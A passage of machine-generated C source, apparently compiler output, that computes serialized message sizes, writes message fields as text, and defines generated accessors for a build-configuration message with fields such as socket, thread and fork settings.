Vfspec->Vnr)); break; } case 19: { Ti Vv; sf.pos=9067938; Vsize += Ybyp(Vfspec); sf.pos=9067939; Vv = ((Tu (*)(void*, Ti))(Amsg.table[16]))(Amsg.ptr, Vfspec->Vnr); sf.pos=9067940; Vsize += YmeT(Vv); break; } case 18: { Ti Vv; sf.pos=9067941; Vsize += Ybyp(Vfspec); sf.pos=9067942; Vv = ((Tu32 (*)(void*, Ti))(Amsg.table[18]))(Amsg.ptr, Vfspec->Vnr); sf.pos=9067943; Vsize += YmeT(Vv); break; } case 6: { sf.pos=9067944; Vsize += Ybyp(Vfspec); sf.pos=9067945; Vsize += 4; break; } case 7: { sf.pos=9067946; Vsize += Ybyp(Vfspec); sf.pos=9067947; Vsize += 8; break; } case 1: { sf.pos=9067948; Vsize += Ybyp(Vfspec); sf.pos=9067949; Vsize += 1; break; } case 17: { Ti Vlen; sf.pos=9067950; Vsize += Ybyp(Vfspec); sf.pos=9067951; Vs1 = ((Tc* (*)(void*, Ti))(Amsg.table[26]))(Amsg.ptr, Vfspec->Vnr); sf.pos=9067952; Vlen = ZbyteStringSize(Vs1); sf.pos=9067953; Vsize += (YmeT(Vlen) + Vlen); break; } case 3: { Ti Vnr; sf.pos=9067954; Vnr = ((Ti (*)(void*, Ti))(Amsg.table[8]))(Amsg.ptr, Vfspec->Vnr); sf.pos=9067955; Vsize += Ybyp(Vfspec); sf.pos=9067956; Vsize += YmeT((((Vnr < 0)) ? (0) : (Vnr))); break; } case 12: { sf.pos=9067957; Vother1 = ((Tr (*)(void*, Ti))(Amsg.table[38]))(Amsg.ptr, Vfspec->Vnr); sf.pos=9067958; Vsize += YMrV(Amsg, Vother1, Vfspec, AprotoWriter); break; } default: { Tr ex; sf.pos=9067959; *Znao(&ex, YOEA__YwtA__YRHR(NULL, ZcS(((Tc*)&Ytvm), Zenum2string(MProto__EType, Vfspec->Vtype))), YOEA__Ytlm_I_imt, 30); ZthrowIobject(ex); } } } } sf.pos=9067960; } } sf.pos=9067961; r = Vsize; topFrame = sf.prev; return r; } Ti YMrV(Tr At, Tr Amsg, YqvM *Afspec, YLWE *AprotoWriter) { Ti Vsize; Zsf sf; Ti r = 0; YqvM *VintFspec = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; Vsize = 0; sf.pos=3788400; if ((((Amsg).ptr) == NULL)) { sf.pos=3788401; Vsize = Ybyp(Afspec); sf.pos=3788402; Vsize += YmeT(0); } else { Tb Vdone; Vdone = 0; sf.pos=3788403; if (((AprotoWriter != NULL) && (AprotoWriter->VderefTime != 0))) { Ti Vid; sf.pos=3788404; Vid = -1; sf.pos=3788405; if (((*(Ti*)(Amsg.ptr + (size_t)Amsg.table[1])) == AprotoWriter->VderefTime)) { sf.pos=3788406; Vid = (*(Ti*)(Amsg.ptr + (size_t)Amsg.table[2])); } else { sf.pos=3788407; if (((*(Ti*)(Amsg.ptr + (size_t)Amsg.table[3])) == AprotoWriter->VderefTimeSize)) { sf.pos=3788408; Vid = (*(Ti*)(Amsg.ptr + (size_t)Amsg.table[4])); } } sf.pos=3788409; if ((Vid >= 0)) { sf.pos=3788410; VintFspec = Ykww(NULL, NULL, Afspec->Vnr, 9, 0); sf.pos=3788411; Vsize += Ybyp(VintFspec); sf.pos=3788412; Vsize += YmeT(Vid); sf.pos=3788413; Vdone = 1; } else { sf.pos=3788414; (*(Ti*)(Amsg.ptr + (size_t)Amsg.table[3])) = AprotoWriter->VderefTimeSize; sf.pos=3788415; (*(Ti*)(Amsg.ptr + (size_t)Amsg.table[4])) = ++(AprotoWriter->VderefIdSize); } } sf.pos=3788416; if (!(Vdone)) { Ti Vlen; sf.pos=3788417; Vsize += Ybyp(Afspec); sf.pos=3788418; Vlen = YFN0(Amsg, AprotoWriter); sf.pos=3788419; Vsize += YmeT(Vlen); sf.pos=3788420; Vsize += Vlen; } } sf.pos=3788421; r = Vsize; topFrame = sf.prev; return r; } void YP8Z(Tr Amsg, YLWE *AprotoWriter) { Zsf sf; Tl *Zf2 = NULL; YqvM *Vfspec = 0; Tc *t0 = NULL; Tc *t1 = NULL; Tc *t2 = NULL; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; sf.pos=1929900; if ((AprotoWriter->Vindent != NULL)) { Tr YCSo = {NULL}; sf.pos=1929901; (YCSo = AprotoWriter->Vwriter, ((Ts (*)(void*, Tc*))(YCSo.table[1]))(YCSo.ptr, AprotoWriter->Vindent)); } sf.pos=1929902; if (((*(Ti*)(Amsg.ptr + (size_t)Amsg.table[1])) == AprotoWriter->VderefTime)) { Tr YDSo = {NULL}; sf.pos=1929903; (YDSo = AprotoWriter->Vwriter, ((Ts (*)(void*, Tc*))(YDSo.table[1]))(YDSo.ptr, ZcS5(((Tc*)&YvJi), ((Tc* (*)(void*))(Amsg.table[6]))(Amsg.ptr), ((Tc*)&YT), (t0 = Zint2string((*(Ti*)(Amsg.ptr + (size_t)Amsg.table[2])))), ((Tc*)&Yk)))); } else { Tr YESo = {NULL}; sf.pos=1929904; (*(Ti*)(Amsg.ptr + (size_t)Amsg.table[1])) = AprotoWriter->VderefTime; sf.pos=1929905; (*(Ti*)(Amsg.ptr + (size_t)Amsg.table[2])) = ++(AprotoWriter->VderefId); sf.pos=1929906; (YESo = AprotoWriter->Vwriter, ((Ts (*)(void*, Tc*))(YESo.table[1]))(YESo.ptr, ZcS8(((Tc*)&YN2), ((Tc* (*)(void*))(Amsg.table[6]))(Amsg.ptr), ((Tc*)&YT), (t0 = Zint2string((*(Ti*)(Amsg.ptr + (size_t)Amsg.table[2])))), ((Tc*)&Y0Eh), (t1 = Zint2string(YFN0(Amsg, AprotoWriter))), ((Tc*)&Y8RH), (Tc*)1))); sf.pos=1929907; { Tfl Zf2i; Zf2 = ((Tl* (*)(void*))(Amsg.table[43]))(Amsg.ptr); Zf2i.l = Zf2; Zf2i.valp = (void*)&Vfspec; Zf2i.i = 0; for (; ZforListPtrCont(&Zf2i); ) { sf.pos=1929908; if (Vfspec->Vrepeated) { Ti Vn; sf.pos=1929909; Vn = ((Ti (*)(void*, Ti))(Amsg.table[42]))(Amsg.ptr, Vfspec->Vnr); sf.pos=1929910; { Ti Vi; Tfr Zf4; ZforRangeNew(0, Vn, 1, 1, &Zf4); for (ZforRangeGetInt(&Zf4, &Vi); ZforRangeContInt(&Zf4); ZforRangeNextInt(&Zf4, &Vi)) { sf.pos=1929911; YWEg(Amsg, Vfspec, Vi, AprotoWriter); sf.pos=1929912; } } } else { sf.pos=1929913; if (((Tb (*)(void*, Ti))(Amsg.table[5]))(Amsg.ptr, Vfspec->Vnr)) { sf.pos=1929914; YWEg(Amsg, Vfspec, -1, AprotoWriter); } } sf.pos=1929915; } } } topFrame = sf.prev; return; } void YWEg(Tr Amsg, YqvM *Afspec, Ti Aidx, YLWE *AprotoWriter) { Zsf sf; Tr Vwriter = {NULL}; Tc *Vv = NULL; Tc *Vname = NULL; Tc *Vindent = NULL; Tr t0 = {NULL}; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; sf.pos=9472900; Vwriter = AprotoWriter->Vwriter; sf.pos=9472901; if ((AprotoWriter->Vindent != NULL)) { sf.pos=9472902; ((Ts (*)(void*, Tc*))(Vwriter.table[1]))(Vwriter.ptr, AprotoWriter->Vindent); } sf.pos=9472903; if (AprotoWriter->VuseNr) { sf.pos=9472904; ((Ts (*)(void*, Tc*))(Vwriter.table[1]))(Vwriter.ptr, ZcS(Zint2string(Afspec->Vnr), ((Tc*)&YT))); } sf.pos=9472905; ((Ts (*)(void*, Tc*))(Vwriter.table[1]))(Vwriter.ptr, ZcS(Afspec->Vname, ((Tc*)&YFDa))); sf.pos=9472906; switch (Afspec->Vtype) { case 9: case 11: { Ti Vv; Vv = 0; sf.pos=9472907; if ((Aidx >= 0)) { sf.pos=9472908; Vv = ((Ti (*)(void*, Ti, Ti))(Amsg.table[11]))(Amsg.ptr, Afspec->Vnr, Aidx); } else { sf.pos=9472909; Vv = ((Ti (*)(void*, Ti))(Amsg.table[12]))(Amsg.ptr, Afspec->Vnr); } sf.pos=9472910; ((Ts (*)(void*, Tc*))(Vwriter.table[1]))(Vwriter.ptr, ZcS(Zint2string(Vv), ((Tc*)&Yk))); break; } case 10: { Ti Vv; Vv = 0; sf.pos=9472911; if ((Aidx >= 0)) { sf.pos=9472912; Vv = ((Ti32 (*)(void*, Ti, Ti))(Amsg.table[13]))(Amsg.ptr, Afspec->Vnr, Aidx); } else { sf.pos=9472913; Vv = ((Ti32 (*)(void*, Ti))(Amsg.table[14]))(Amsg.ptr, Afspec->Vnr); } sf.pos=9472914; ((Ts (*)(void*, Tc*))(Vwriter.table[1]))(Vwriter.ptr, ZcS(Zint2string(Vv), ((Tc*)&Yk))); break; } case 19: { Ti Vv; Vv = 0; sf.pos=9472915; if ((Aidx >= 0)) { sf.pos=9472916; Vv = ((Tu (*)(void*, Ti, Ti))(Amsg.table[15]))(Amsg.ptr, Afspec->Vnr, Aidx); } else { sf.pos=9472917; Vv = ((Tu (*)(void*, Ti))(Amsg.table[16]))(Amsg.ptr, Afspec->Vnr); } sf.pos=9472918; ((Ts (*)(void*, Tc*))(Vwriter.table[1]))(Vwriter.ptr, ZcS(Zint2string(Vv), ((Tc*)&Yk))); break; } case 18: { Ti Vv; Vv = 0; sf.pos=9472919; if ((Aidx >= 0)) { sf.pos=9472920; Vv = ((Tu32 (*)(void*, Ti, Ti))(Amsg.table[17]))(Amsg.ptr, Afspec->Vnr, Aidx); } else { sf.pos=9472921; Vv = ((Tu32 (*)(void*, Ti))(Amsg.table[18]))(Amsg.ptr, Afspec->Vnr); } sf.pos=9472922; ((Ts (*)(void*, Tc*))(Vwriter.table[1]))(Vwriter.ptr, ZcS(Zint2string(Vv), ((Tc*)&Yk))); break; } case 6: { Tf32 Vf; Vf = 0; sf.pos=9472923; if ((Aidx >= 0)) { sf.pos=9472924; Vf = ((Tf32 (*)(void*, Ti, Ti))(Amsg.table[19]))(Amsg.ptr, Afspec->Vnr, Aidx); } else { sf.pos=9472925; Vf = ((Tf32 (*)(void*, Ti))(Amsg.table[20]))(Amsg.ptr, Afspec->Vnr); } sf.pos=9472926; ((Ts (*)(void*, Tc*))(Vwriter.table[1]))(Vwriter.ptr, ZcS(ZfloatFormat(((Tc*)&YxR2), Vf), ((Tc*)&Yk))); break; } case 7: { Tf Vf; Vf = 0; sf.pos=9472927; if ((Aidx >= 0)) { sf.pos=9472928; Vf = ((Tf (*)(void*, Ti, Ti))(Amsg.table[21]))(Amsg.ptr, Afspec->Vnr, Aidx); } else { sf.pos=9472929; Vf = ((Tf (*)(void*, Ti))(Amsg.table[22]))(Amsg.ptr, Afspec->Vnr); } sf.pos=9472930; ((Ts (*)(void*, Tc*))(Vwriter.table[1]))(Vwriter.ptr, ZcS(ZfloatFormat(((Tc*)&YmwI), Vf), ((Tc*)&Yk))); break; } case 1: { Tb Vv; Vv = 0; sf.pos=9472931; if ((Aidx >= 0)) { sf.pos=9472932; Vv = ((Tb (*)(void*, Ti, Ti))(Amsg.table[23]))(Amsg.ptr, Afspec->Vnr, Aidx); } else { sf.pos=9472933; Vv = ((Tb (*)(void*, Ti))(Amsg.table[24]))(Amsg.ptr, Afspec->Vnr); } sf.pos=9472934; ((Ts (*)(void*, Tc*))(Vwriter.table[1]))(Vwriter.ptr, ZcS((((Vv) ? (((Tc*)&YHoE)) : (((Tc*)&Y2cy)))), ((Tc*)&Yk))); break; } case 17: { sf.pos=9472935; if ((Aidx >= 0)) { sf.pos=9472936; Vv = ((Tc* (*)(void*, Ti, Ti))(Amsg.table[25]))(Amsg.ptr, Afspec->Vnr, Aidx); } else { sf.pos=9472937; Vv = ((Tc* (*)(void*, Ti))(Amsg.table[26]))(Amsg.ptr, Afspec->Vnr); } sf.pos=9472938; ((Ts (*)(void*, Tc*))(Vwriter.table[1]))(Vwriter.ptr, ZcS3(((Tc*)&YI), Vv, ((Tc*)&YQ0))); break; } case 3: { sf.pos=9472939; if (AprotoWriter->VuseNr) { Ti Vv; Vv = 0; sf.pos=9472940; if ((Aidx >= 0)) { sf.pos=9472941; Vv = ((Ti (*)(void*, Ti, Ti))(Amsg.table[7]))(Amsg.ptr, Afspec->Vnr, Aidx); } else { sf.pos=9472942; Vv = ((Ti (*)(void*, Ti))(Amsg.table[8]))(Amsg.ptr, Afspec->Vnr); } sf.pos=9472943; ((Ts (*)(void*, Tc*))(Vwriter.table[1]))(Vwriter.ptr, ZcS(Zint2string(Vv), ((Tc*)&YT))); } sf.pos=9472944; if ((Aidx >= 0)) { sf.pos=9472945; Vname = ((Tc* (*)(void*, Ti, Ti))(Amsg.table[9]))(Amsg.ptr, Afspec->Vnr, Aidx); } else { sf.pos=9472946; Vname = ((Tc* (*)(void*, Ti))(Amsg.table[10]))(Amsg.ptr, Afspec->Vnr); } sf.pos=9472947; ((Ts (*)(void*, Tc*))(Vwriter.table[1]))(Vwriter.ptr, ZcS(Vname, ((Tc*)&Yk))); break; } case 12: { sf.pos=9472948; ((Ts (*)(void*, Tc*))(Vwriter.table[1]))(Vwriter.ptr, ((Tc*)&Ywhc)); sf.pos=9472949; Vindent = AprotoWriter->Vindent; sf.pos=9472950; if ((Vindent != NULL)) { sf.pos=9472951; AprotoWriter->Vindent = ZcS(Vindent, ((Tc*)&YZY)); } sf.pos=9472952; if ((Aidx >= 0)) { sf.pos=9472953; YeeBa(Amsg, Afspec->Vnr, Aidx, AprotoWriter); } else { sf.pos=9472954; YeeB(Amsg, Afspec->Vnr, AprotoWriter); } sf.pos=9472955; AprotoWriter->Vindent = Vindent; sf.pos=9472956; if ((Vindent != NULL)) { sf.pos=9472957; ((Ts (*)(void*, Tc*))(Vwriter.table[1]))(Vwriter.ptr, Vindent); } sf.pos=9472958; ((Ts (*)(void*, Tc*))(Vwriter.table[1]))(Vwriter.ptr, ((Tc*)&YJkc)); break; } default: { Tr ex; sf.pos=9472959; *Znao(&ex, Ys_q__YwtA__YRHR(NULL, ZcS(((Tc*)&Y80t), Zenum2string(MProto__EType, Afspec->Vtype))), Ys_q__Ytlm_I_imt, 29); ZthrowIobject(ex); } } topFrame = sf.prev; return; } void YeeB(Tr At, Ti AfieldNr, YLWE *AprotoWriter) { Zsf sf; Tr Vmsg = {NULL}; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; sf.pos=6491200; Vmsg = ((Tr (*)(void*, Ti))(At.table[38]))(At.ptr, AfieldNr); sf.pos=6491201; if ((((Vmsg).ptr) != NULL)) { sf.pos=6491202; YP8Z(Vmsg, AprotoWriter); } topFrame = sf.prev; return; } void YeeBa(Tr At, Ti AfieldNr, Ti Aidx, YLWE *AprotoWriter) { Zsf sf; Tr Vmsg = {NULL}; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; sf.pos=7198800; Vmsg = ((Tr (*)(void*, Ti, Ti))(At.table[37]))(At.ptr, AfieldNr, Aidx); sf.pos=7198801; if ((((Vmsg).ptr) != NULL)) { sf.pos=7198802; YP8Z(Vmsg, AprotoWriter); } topFrame = sf.prev; return; } Ti YmeT(Ti Avalue) { Ti Vbytes; Zsf sf; Ti r = 0; int rt = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; sf.pos=3699400; if ((Avalue < 0)) { sf.pos=3699401; r = 10; rt = 1; goto Yn2E; } sf.pos=3699402; if ((Avalue < 128)) { sf.pos=3699403; r = 1; rt = 1; goto Yn2E; } sf.pos=3699404; if ((Avalue < 16384)) { sf.pos=3699405; r = 2; rt = 1; goto Yn2E; } sf.pos=3699406; Vbytes = 3; sf.pos=3699407; while ((Avalue >= ((1 << ((Vbytes * 7)))))) { sf.pos=3699408; if ((++(Vbytes) == 10)) { rt = 2; goto YDo3; } YDo3: if (rt == 2) { rt &= 1; break; } sf.pos=3699409; } sf.pos=3699410; r = Vbytes; Yn2E: topFrame = sf.prev; return r; } int JProto(int round) { static int round_done = -1; int done = 1; if (round_done < round) { Zsf sf; sf.prev = topFrame; sf.pos = 0; sf.frof = NULL; topFrame = &sf; round_done = round; if (round == 2001) { sf.pos=3053200; YXCQ = ZDictAdd(0, ZDictAdd(0, ZDictAdd(0, ZDictAdd(0, ZDictAdd(0, ZDictAdd(0, ZDictAdd(0, ZDictAdd(0, ZDictAdd(0, ZDictAdd(0, ZDictAdd(0, ZnewDict((Tt*)&MProto__EType__T, (Tt*)&MProto__EBinaryType__T, 0), (Tz)(Ti)1, (Tz)(Ti)0), (Tz)(Ti)9, (Tz)(Ti)0), (Tz)(Ti)11, (Tz)(Ti)0), (Tz)(Ti)10, (Tz)(Ti)0), (Tz)(Ti)19, (Tz)(Ti)0), (Tz)(Ti)18, (Tz)(Ti)0), (Tz)(Ti)17, (Tz)(Ti)2), (Tz)(Ti)3, (Tz)(Ti)0), (Tz)(Ti)12, (Tz)(Ti)2), (Tz)(Ti)6, (Tz)(Ti)5), (Tz)(Ti)7, (Tz)(Ti)1); sf.pos=3053201; YLwW = ZDictAdd(0, ZDictAdd(0, ZDictAdd(0, ZDictAdd(0, ZDictAdd(0, ZDictAdd(0, ZnewDict((Tt*)&MProto__EBinaryType__T, (Tt*)&int__T, 0), (Tz)(Ti)0, (Tz)(Ti)0), (Tz)(Ti)1, (Tz)(Ti)1), (Tz)(Ti)2, (Tz)(Ti)2), (Tz)(Ti)3, (Tz)(Ti)3), (Tz)(Ti)4, (Tz)(Ti)4), (Tz)(Ti)5, (Tz)(Ti)5); } topFrame = sf.prev; } return done; } /* Proto done */ YNdL *YA_Z(YNdL *t) { Zsf sf; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) {sf.pos=2763200; t = Za(sizeof(YNdL));} topFrame = sf.prev; return t; } Tc *Ykvoa(YNdL *t) { Tc *r = 0; if (t == NULL) { ZthrowThisNil(); } r = ((Tc*)&YF2d); return r; } YNdL *YrF2(YNdL *t, Tc *Av) { YNdL *r = 0; if (t == NULL) { ZthrowThisNil(); } t->Vf_mallocArg = Av; r = t; return r; } Tb Y8zW(YNdL *t) { Tb r = 0; if (t == NULL) { ZthrowThisNil(); } r = (t->Vf_mallocArg != NULL); return r; } YNdL *YOPG(YNdL *t, Tc *Av) { YNdL *r = 0; if (t == NULL) { ZthrowThisNil(); } t->Vf_threadArg = Av; r = t; return r; } Tb YvKz(YNdL *t) { Tb r = 0; if (t == NULL) { ZthrowThisNil(); } r = (t->Vf_threadArg != NULL); return r; } YNdL *YWoP(YNdL *t, Tc *Av) { YNdL *r = 0; if (t == NULL) { ZthrowThisNil(); } t->Vf_socketArg = Av; r = t; return r; } Tb YDjI(YNdL *t) { Tb r = 0; if (t == NULL) { ZthrowThisNil(); } r = (t->Vf_socketArg != NULL); return r; } YNdL *Yjrt(YNdL *t, Tc *Av) { YNdL *r = 0; if (t == NULL) { ZthrowThisNil(); } t->Vf_mathArg = Av; r = t; return r; } Tb Y8om(YNdL *t) { Tb r = 0; if (t == NULL) { ZthrowThisNil(); } r = (t->Vf_mathArg != NULL); return r; } YNdL *Yqt5(YNdL *t, Tb Av) { YNdL *r = 0; if (t == NULL) { ZthrowThisNil(); } t->Vf_haveResolve = ((Av) ? (2) : (1)); r = t; return r; } Tb Y3Lr(YNdL *t) { Tb r = 0; if (t == NULL) { ZthrowThisNil(); } r = (t->Vf_haveResolve != 0); return r; } YNdL *YBhB(YNdL *t, Tb Av) { YNdL *r = 0; if (t == NULL) { ZthrowThisNil(); } t->Vf_haveFork = ((Av) ? (2) : (1)); r = t; return r; } Tb YcPw(YNdL *t) { Tb r = 0; if (t == NULL) { ZthrowThisNil(); } r = (t->Vf_haveFork != 0); return r; } YNdL *YNXX(YNdL *t, Tc *Av) { YNdL *r = 0; if (t == NULL) { ZthrowThisNil(); } t->Vf_exeSuffix = Av; r = t; return r; } Tb YuSQ(YNdL *t) { Tb r = 0; if (t == NULL) { ZthrowThisNil(); } r = (t->Vf_exeSuffix != NULL); return r; } YNdL *YcU3(YNdL *t, Tc *Av) { YNdL *r = 0; if (t == NULL) { ZthrowThisNil(); } t->Vf_exePrefix = Av; r = t; return r; } Tb YUOX(YNdL *t) { Tb r = 0; if (t == NULL) { ZthrowThisNil(); } r = (t->Vf_exePrefix != NULL); return r; } YNdL *Y118(YNdL *t, Tb Av) { YNdL *r = 0; if (t == NULL) { ZthrowThisNil(); } t->Vf_haveSigaction = ((Av) ? (2) : (1)); r = t; return r; } Tb YJrk(YNdL *t) { Tb r = 0; if (t == NULL) { ZthrowThisNil(); } r = (t->Vf_haveSigaction != 0); return r; } YNdL *YEDn(YNdL *t, Tb Av) { YNdL *r = 0; if (t == NULL) { ZthrowThisNil(); } t->Vf_gcWithThreads = ((Av) ? (2) : (1)); r = t; return r; } Tb Yo45(YNdL *t) { Tb r = 0; if (t == NULL) { ZthrowThisNil(); } r = (t->Vf_gcWithThreads != 0); return r; } YNdL *YIIX(YNdL *t, Tc *Av) { YNdL *r = 0; if (t == NULL) { ZthrowThisNil(); } t->Vf_int16Name = Av; r = t; return r; } Tb YpDQ(YNdL *t) { Tb r = 0; if (t == NULL) { ZthrowThisNil(); } r = (t->Vf_int16Name != NULL); return r; } YNdL *Y8TB(YNdL *t, Tc *Av) { YNdL *r = 0; if (t == NULL) { ZthrowThisNil(); } t->Vf_int32Name = Av; r = t; return r; } Tb YQOu(YNdL *t) { Tb r = 0; if (t == NULL) { ZthrowThisNil(); } r = (t->Vf_int32Name != NULL); return r; } YNdL *Y6PM(YNdL *t, Tc *Av) { YNdL *r = 0; if (t == NULL) { ZthrowThisNil(); } t->Vf_int64Name = Av; r = t; return r; } Tb YOKF(YNdL *t) { Tb r = 0; if (t == NULL) { ZthrowThisNil(); } r = (t->Vf_int64Name != NULL); return r; } YNdL *YXzR(YNdL *t, Tc *Av) { YNdL *r = 0; if (t == NULL) { ZthrowThisNil(); } t->Vf_nat16Name = Av; r = t; return r; } Tb YEuK(YNdL *t) { Tb r = 0; if (t == NULL) { ZthrowThisNil(); } r = (t->Vf_nat16Name != NULL); return r; } YNdL *YnLv(YNdL *t, Tc *Av) { YNdL *r = 0; if (t == NULL) { ZthrowThisNil(); } t->Vf_nat32Name = Av; r = t; return r; } Tb Y4Fo(YNdL *t) { Tb r = 0; if (t == NULL) { ZthrowThisNil(); } r = (t->Vf_nat32Name != NULL); return r; } YNdL *YlHG(YNdL *t, Tc *Av) { YNdL *r = 0; if (t == NULL) { ZthrowThisNil(); } t->Vf_nat64Name = Av; r = t; return r; } Tb Y2Bz(YNdL *t) { Tb r = 0; if (t == NULL) { ZthrowThisNil(); } r = (t->Vf_nat64Name != NULL); return r; } YNdL *Yla2(YNdL *t, Tc *Av) { YNdL *r = 0; if (t == NULL) { ZthrowThisNil(); } t->Vf_floatName = Av; r = t; return r; } Tb Y24V(YNdL *t) { Tb r = 0; if (t == NULL) { ZthrowThisNil(); } r = (t->Vf_floatName != NULL); return r; } YNdL *YI4N(YNdL *t, Tc *Av) { YNdL *r = 0; if (t == NULL) { ZthrowThisNil(); } t->Vf_float32Name = Av; r = t; return r; } Tb YftC(YNdL *t) { Tb r = 0; if (t == NULL) { ZthrowThisNil(); } r = (t->Vf_float32Name != NULL); return r; } YNdL *YJ6V(YNdL *t, Tc *Av) { YNdL *r = 0; if (t == NULL) { ZthrowThisNil(); } t->Vf_intPtrName = Av; r = t; return r; } Tb YTxb(YNdL *t) { Tb r = 0; if (t == NULL) { ZthrowThisNil(); } r = (t->Vf_intPtrName != NULL); return r; } YNdL *YUld(YNdL *t, Tc *Av) { YNdL *r = 0; if (t == NULL) { ZthrowThisNil(); } t->Vf_printIntFormat = Av; r = t; return r; } Tb YlFq(YNdL *t) { Tb r = 0; if (t == NULL) { ZthrowThisNil(); } r = (t->Vf_printIntFormat != NULL); return r; } YNdL *Y8c7(YNdL *t, Tc *Av) { YNdL *r = 0; if (t == NULL) { ZthrowThisNil(); } t->Vf_printNatFormat = Av; r = t; return r; } Tb Y6Nw(YNdL *t) { Tb r = 0; if (t == NULL) { ZthrowThisNil(); } r = (t->Vf_printNatFormat != NULL); return r; } YNdL *YRMv(YNdL *t, Tc *Av) { YNdL *r = 0; if (t == NULL) { ZthrowThisNil(); } t->Vf_scanfHexFormat = Av; r = t; return r; } Tb Yoe8(YNdL *t) { Tb r = 0; if (t == NULL) { ZthrowThisNil(); } r = (t->Vf_scanfHexFormat != NULL); return r; } YNdL *YeB5(YNdL *t, Tb Av) { YNdL *r = 0; if (t == NULL) { ZthrowThisNil(); } t->Vf_isMingw = ((Av) ? (2) : (1)); r = t; return r; } Tb YdfK(YNdL *t) { Tb r = 0; if (t == NULL) { ZthrowThisNil(); } r = (t->Vf_isMingw != 0); return r; } Tb YFKUa(YNdL *t, Ti AfieldNr) { Tb r = 0; int rt = 0; if (t == NULL) { ZthrowThisNil(); } switch (AfieldNr) { case 4: { r = (t->Vf_haveResolve == 2); rt = 1; goto YMz1; } case 5: { r = (t->Vf_haveFork == 2); rt = 1; goto YMz1; } case 8: { r = (t->Vf_haveSigaction == 2); rt = 1; goto YMz1; } case 9: { r = (t->Vf_gcWithThreads == 2); rt = 1; goto YMz1; } case 50: { r = (t->Vf_isMingw == 2); rt = 1; goto YMz1; } YMz1: if (rt) goto YNSH; } r = 0; YNSH: return r; } Tc *Yxv3a(YNdL *t, Ti AfieldNr) { Tc *r = 0; int rt = 0; if (t == NULL) { ZthrowThisNil(); } switch (AfieldNr) { case 1: { r = t->Vf_mallocArg; rt = 1; goto YbWO; } case 2: { r = t->Vf_threadArg; rt = 1; goto YbWO; } case 3: { r = t->Vf_socketArg; rt = 1; goto YbWO; } case 10: { r = t->Vf_mathArg; rt = 1; goto YbWO; } case 6: { r = t->Vf_exeSuffix; rt = 1; goto YbWO; } case 7: { r = t->Vf_exePrefix; rt = 1; goto YbWO; } case 20: { r = t->Vf_int16Name; rt = 1; goto YbWO; } case 21: { r = t->Vf_int32Name; rt = 1; goto YbWO; } case 22: { r = t->Vf_int64Name; rt = 1; goto YbWO; } case 23: { r = t->Vf_nat16Name; rt = 1; goto YbWO; } case 24: { r = t->Vf_nat32Name; rt = 1; goto YbWO; } case 25: { r = t->Vf_nat64Name; rt = 1; goto YbWO; } case 26: { r = t->Vf_floatName; rt = 1; goto YbWO; } case 27: { r = t->Vf_float32Name; rt = 1; goto YbWO; } case 28: { r = t->Vf_intPtrName; rt = 1; goto YbWO; } case 40: { r = t->Vf_printIntFormat; rt = 1; goto YbWO; } case 41: { r = t->Vf_printNatFormat; rt = 1; goto YbWO; } case 42: { r = t->Vf_scanfHexFormat; rt = 1; goto YbWO; } YbWO: if (rt) goto YB5N; } r = ((Tc*)&Ya); YB5N: return r; } Tb YlZca(YNdL *t, Ti AfieldNr) { Tb r = 0; int rt = 0; if (t == NULL) { ZthrowThisNil(); } switch (AfieldNr) { case 1: { r = Y8zW(t); rt = 1; goto YzmR; } case 2: { r = YvKz(t); rt = 1; goto YzmR; } case 3: { r = YDjI(t); rt = 1; goto YzmR; } case 10: { r = Y8om(t); rt = 1; goto YzmR; } case 4: { r = Y3Lr(t); rt = 1; goto YzmR; } case 5: { r = YcPw(t); rt = 1; goto YzmR; } case 6: { r = YuSQ(t); rt = 1; goto YzmR; } case 7: { r = YUOX(t); rt = 1; goto YzmR; } case 8: { r = YJrk(t); rt = 1; goto YzmR; } case 9: { r = Yo45(t); rt = 1; goto YzmR; } case 20: { r = YpDQ(t); rt = 1; goto YzmR; } case 21: { r = YQOu(t); rt = 1; goto YzmR; } case 22: { r = YOKF(t); rt = 1; goto YzmR; } case 23: { r = YEuK(t); rt = 1; goto YzmR; } case 24: { r = Y4Fo(t); rt = 1; goto YzmR; } case 25: { r = Y2Bz(t); rt = 1; goto YzmR; } case 26: { r = Y24V(t); rt = 1; goto YzmR; } case 27: { r = YftC(t); rt = 1; goto YzmR; } case 28: { r = YTxb(t); rt = 1; goto YzmR; } case 40: { r = YlFq(t); rt = 1; goto YzmR; } case 41: { r = Y6Nw(t); rt = 1; goto YzmR; } case 42: { r = Yoe8(t); rt = 1; goto YzmR; } case 50: { r = YdfK(t); rt = 1; goto YzmR; } YzmR: if (rt) goto YXeK; } r = 0; YXeK: return r; } Tl *Yozoa(YNdL *t) { Tl *r = 0; if (t == NULL) { ZthrowThisNil(); } r = YR6X; return r; } Ti YNdL__Y0zD(YNdL *t, Ti AfieldNr) { Zsf sf; Ti r = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=7728200; ZthrowThisNil(); } sf.pos=7728201; r = 0; topFrame = sf.prev; return r; } Ti YNdL__Y0zDa(YNdL *t, Ti AfieldNr, Ti Aidx) { Zsf sf; Ti r = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=8748300; ZthrowThisNil(); } sf.pos=8748301; r = 0; topFrame = sf.prev; return r; } Tc *YNdL__YytN(YNdL *t, Ti AfieldNr) { Zsf sf; Tc *r = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=1323500; ZthrowThisNil(); } sf.pos=1323501; r = ((Tc*)&Ya); topFrame = sf.prev; return r; } Tc *YNdL__YytNa(YNdL *t, Ti AfieldNr, Ti Aidx) { Zsf sf; Tc *r = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=2343600; ZthrowThisNil(); } sf.pos=2343601; r = ((Tc*)&Ya); topFrame = sf.prev; return r; } Ti YNdL__YGR8(YNdL *t, Ti AfieldNr) { Zsf sf; Ti r = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=3009600; ZthrowThisNil(); } sf.pos=3009601; r = 0; topFrame = sf.prev; return r; } Ti YNdL__YGR8a(YNdL *t, Ti AfieldNr, 